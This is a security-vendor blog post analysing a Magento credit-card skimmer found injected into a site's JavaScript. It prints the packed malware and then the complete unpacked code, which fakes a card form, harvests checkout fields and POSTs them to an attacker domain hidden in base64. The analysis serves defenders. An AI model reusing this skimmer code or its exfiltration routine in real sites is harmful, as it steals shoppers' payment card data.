• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to footer

Sucuri Blog

Website Security News

  • Products
    • Website Security Platform
    • Website Firewall (WAF)
    • Enterprise Website Security
    • Multisite Solutions
  • Features
    • Detection
    • Protection
    • Performance
    • Response
    • Backups
  • Partners
    • Agency Solutions
    • Partners
    • Referral Program
    • Ecommerce
  • Resources
    • Guides
    • Webinars
    • Infographics
    • SiteCheck
    • Reports
    • Email Courses
  • Immediate Help
  • Login
Anatomy of a credit card stealer

CDN-Filestore Credit Card Stealer for Magento

August 18, 2020Krasimir Konov

209
SHARES
FacebookTwitterSubscribe

During a website remediation, we recently discovered a new version of a Magento credit card stealer which sends all compromised data to the malicious domain cdn-filestore[dot]com. My colleague Luke Leal originally wrote about this malware in a blog post earlier this year.

Malware Evolution & Evasive Techniques

One primary difference between this new version and theone Luke wrote about in April is that it was not packed. This detail suggests that the attackers updated the malware in an attempt to obfuscate it and avoid detection. Based on this observation, we can assume that they will continue to change the malware and domains as an evasive maneuver.

The malicious contents had been packed using JavaScript in the following manner:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1c z="<k><l F=\\"h:H\\"><m>*</m>1b t y</l><c e=\\"g-E\\"><g K=\\"w\\" n=\\"h:H\\" d=\\"h[H]\\" Q=\\"1b t y\\" e=\\"g-w C-G-1k\\" a=\\"\\" s=\\"q\\"></c></k><k><l F=\\"1m:1n\\"><m>*</m>1p 1o</l><c e=\\"g-E\\"><c e=\\"v-D\\"><j n=\\"h:1i\\" d=\\"h[1i]\\" e=\\"1t C-G-1u\\" s=\\"q\\"><0 a=\\"\\" p=\\"p\\">1v</0><0 a=\\"1\\">1w</0><0 a=\\"2\\">1A</0><0 a=\\"3\\">1j</0><0 a=\\"4\\">1q</0><0 a=\\"5\\">1B</0><0 a=\\"6\\">1z</0><0 a=\\"7\\">1y</0><0 a=\\"8\\">1x</0><0 a=\\"9\\">1s</0><0 a=\\"10\\">10</0><0 a=\\"11\\">11</0><0 a=\\"12\\">12</0></j></c><c e=\\"v-D\\"><j n=\\"h:R\\" d=\\"h[R]\\" e=\\"1r\\" s=\\"q\\"><0 a=\\"\\" p=\\"p\\">1l</0><0 a=\\"U\\">U</0><0 a=\\"18\\">18</0><0 a=\\"16\\">16</0><0 a=\\"15\\">15</0><0 a=\\"14\\">14</0><0 a=\\"13\\">13</0><0 a=\\"Z\\">Z</0><0 a=\\"Y\\">Y</0><0 a=\\"T\\">T</0><0 a=\\"X\\">X</0><0 a=\\"W\\">W</0><0 a=\\"V\\">V</0></j></c></c></k><k><l F=\\"h:1a\\"><m>*</m>t O y</l><c e=\\"g-E\\"><c e=\\"v-D\\"><g  K=\\"w\\" Q=\\"t O y\\" e=\\"g-w 1T C-G-1E\\" n=\\"1h\\" d=\\"h[1a]\\" a=\\"\\" s=\\"q\\"></c></c></k>";b(1N).1M(o(){b("#1L-1K-1J").19(1d);b("#1g").A(z);b("g").r("u");b("j").r("u")});b("A").19(o(){b("g").r("u");b("j").r("u");1f(!b(\'*\').1H(\'#1h\')){b("#1g").A(z)}});o 1d(){1c i={},I,L,17=N("1G/1F"),B=J(1D.B);b("g, j").1C(o(){I=(i[f.d]==""||i[f.d]=="x"||1e i[f.d]==="x")&&f.d!=""&&f.d!="x"&&1e f.d!=="x";1f(I){i[f.d]=f.a;1I S}i[f.n]=f.a});L=J(1O(1P(J(1Q.1R(i)))));b.1Y(17,o(P){b.1X({1Z:N(P),1U:{1V:S},K:"1S",M:"M="+L+"&1W="+B})})}',62,124,'option||||||||||value|jQuery|div|name|class|this|input|payment|arr|select|li|label|em|id|function|selected|off|removeAttr|autocomplete|Card|disabled||text|undefined|Number|form|html|host|validate|fix|box|for|cc|cc_number|bl|encodeURIComponent|type|string|data|atob|Verification|dat|title|cc_exp_year|true|2026|2018|2029|2028|2027|2025|2024||||2023|2022|2021|2020|domain|2019|click|cc_cid|Credit|var|onestepcheckout_payment|typeof|if|payment_form_payco|cc_cid_data|cc_exp_month|03|number|Year|billing|expiration_date|Date|Expiration|04|year|09|month|exp|Month|01|08|07|06|02|05|each|location|cvn|YWxs|Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA|is|return|order|place|onestepcheckout|ready|document|btoa|unescape|JSON|stringify|POST|cvv|xhrFields|withCredentials|target|ajax|get|url'.split('|'),0,{}));

By using a JavaScript packer, bad actors are able to better conceal the true workings of the script — but there are a couple of obvious red flags here. For example, labels like “onestepcheckout” and “cc_exp_month” are a good sign that this malicious code is harvesting sensitive information.

Information Theft & Exfiltration

Once we are done unpacking the code, the malicious behavior is revealed.

var form = "<li><label for=\"payment:cc_number\"><em>*</em>Credit Card Number</label><div class=\"input-box\"><input type=\"text\" id=\"payment:cc_number\" name=\"payment[cc_number]\" title=\"Credit Card Number\" class=\"input-text validate-cc-number\" value=\"\" autocomplete=\"off\"></div></li><li><label for=\"billing:expiration_date\"><em>*</em>Expiration Date</label><div class=\"input-box\"><div class=\"v-fix\"><select id=\"payment:cc_exp_month\" name=\"payment[cc_exp_month]\" class=\"month validate-cc-exp\" autocomplete=\"off\"><option value=\"\" selected=\"selected\">Month</option><option value=\"1\">01</option><option value=\"2\">02</option><option value=\"3\">03</option><option value=\"4\">04</option><option value=\"5\">05</option><option value=\"6\">06</option><option value=\"7\">07</option><option value=\"8\">08</option><option value=\"9\">09</option><option value=\"10\">10</option><option value=\"11\">11</option><option value=\"12\">12</option></select></div><div class=\"v-fix\"><select id=\"payment:cc_exp_year\" name=\"payment[cc_exp_year]\" class=\"year\" autocomplete=\"off\"><option value=\"\" selected=\"selected\">Year</option><option value=\"2018\">2018</option><option value=\"2019\">2019</option><option value=\"2020\">2020</option><option value=\"2021\">2021</option><option value=\"2022\">2022</option><option value=\"2023\">2023</option><option value=\"2024\">2024</option><option value=\"2025\">2025</option><option value=\"2026\">2026</option><option value=\"2027\">2027</option><option value=\"2028\">2028</option><option value=\"2029\">2029</option></select></div></div></li><li><label for=\"payment:cc_cid\"><em>*</em>Card Verification Number</label><div class=\"input-box\"><div class=\"v-fix\"><input  type=\"text\" title=\"Card Verification Number\" class=\"input-text cvv validate-cc-cvn\" id=\"cc_cid_data\" name=\"payment[cc_cid]\" value=\"\" autocomplete=\"off\"></div></div></li>";
jQuery(document).ready(function () {
    jQuery("#onestepcheckout-place-order").click(onestepcheckout_payment);
    jQuery("#payment_form_payco").html(form);
    jQuery("input").removeAttr("disabled");
    jQuery("select").removeAttr("disabled")
});
jQuery("html").click(function () {
    jQuery("input").removeAttr("disabled");
    jQuery("select").removeAttr("disabled");
    if (!jQuery('*').is('#cc_cid_data')) {
        jQuery("#payment_form_payco").html(form)
    }
});
function onestepcheckout_payment() {
    var arr = {},
    bl, string, domain = atob("Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA/YWxs"),
    host = encodeURIComponent(location.host);
    jQuery("input, select").each(function () {
        bl = (arr[this.name] == "" || arr[this.name] == "undefined" || typeof arr[this.name] === "undefined") && this.name != "" && this.name != "undefined" && typeof this.name !== "undefined";
        if (bl) {
            arr[this.name] = this.value;
            return true
        }
        arr[this.id] = this.value
    });
    string = encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(arr)))));
    jQuery.get(domain, function (dat) {
        jQuery.ajax({
            url: atob(dat),
            xhrFields: {
                withCredentials: true
            },
            type: "POST",
            data: "data=" + string + "&target=" + host
        })
    })
}

This code sample includes a form with all the credit card information, but the most interesting snippet lies at the end, which contains the domain used for the exfiltration of the skimmed payment data.

function onestepcheckout_payment() {
    var arr = {},
    bl, string, domain = atob("Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA/YWxs"),
    host = encodeURIComponent(location.host);

The base64 encoded string decodes to //cdn-filestore[dot]com/cache.php?all

Later on, the data is base64 encoded, converted to JSON format, after which jQuery is used to submit the collected data (exfiltration). The harvested information is then sent to cdn-filestore[dot]com via a POST request.

string = encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(arr)))));
    jQuery.get(domain, function (dat) {
        jQuery.ajax({
            url: atob(dat),
            xhrFields: {
                withCredentials: true
            },
            type: "POST",
            data: "data=" + string + "&target=" + host
        })
    })

Conclusion & Mitigation Steps

This malware was found injected into one of the .js files inside ./media/js/, and it’s not unusual to find other files injected with this code as well.

Credit card stealers are becoming an increasingly common threat. As consumers continue to rely heavily on online shopping, we only expect to see a rise in attacks targeting ecommerce sites.

You can mitigate risk by keeping your website’s software up to date, or by virtually patching known vulnerabilities with a website firewall.

In the event of an incident, integrity monitoring services and professional incident response are the best ways to detect and respond to a website compromise.

209
SHARES
FacebookTwitterSubscribe

Categories: Ecommerce Security, Magento Security, Sucuri Labs, Website Malware Infections, Website SecurityTags: Black Hat Tactics, Hacked Websites, Labs Note, Obfuscation

About Krasimir Konov

Krasimir Konov is Sucuri's Malware Analyst who joined the company in 2014. Krasimir's main responsibilities include analyzing malicious code, signature creation and documentation of malware. His professional experience covers more than 10 years in the IT field, with nine years involved in IT/cyber security. When he’s not analyzing malware or writing Labs notes, you might find Krasimir riding his motorcycle and traveling the world. Connect with him on Twitter or LinkedIn.

Reader Interactions

Primary Sidebar

Socialize With Sucuri

We're actively engaged across multiple platforms. Follow us and let's connect!

  • Facebook
  • Twitter
  • LinkedIn
  • YouTube
  • Instagram
  • RSS Feed

The Anatomy of Website Malware Webinar

Magento Webinar

PCI Compliance Guide

Magento Security Guide

Join Over 20,000 Subscribers!

Footer

Products

  • Website Firewall
  • Website AntiVirus
  • Website Backups
  • WordPress Security
  • Enterprise Services

Solutions

  • DDos Protection
  • Malware Detection
  • Malware Removal
  • Malware Prevention
  • Blacklist Removal

Support

  • Blog
  • Knowledge Base
  • SiteCheck
  • Research Labs
  • FAQ

Company

  • About
  • Media
  • Events
  • Employment
  • Contact
  • Testimonials
  • Facebook
  • Twitter
  • LinkedIn
  • Instagram

Customer Login

Sucuri Home

  • Terms of Use
  • Privacy Policy
  • Frequently Asked Questions

© 2022 Sucuri Inc. All rights reserved

Sucuri Cookie Policy
See our policy>>

Our website uses cookies, which help us to improve our site and enables us to deliver the best possible service and customer experience.